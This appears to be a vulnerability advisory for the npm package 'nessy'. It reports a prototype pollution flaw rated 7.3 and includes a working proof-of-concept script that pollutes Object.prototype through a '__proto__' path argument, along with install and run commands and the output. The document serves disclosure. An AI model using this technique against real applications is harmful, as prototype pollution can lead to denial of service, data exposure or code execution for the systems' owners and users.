nessy

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

nessy is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var nessy = require("nessy")
var obj = {}
console.log("Before : " + {}.polluted);
nessy('a/__proto__/polluted', "Yes! Its Polluted", '/', obj);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i nessy # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

References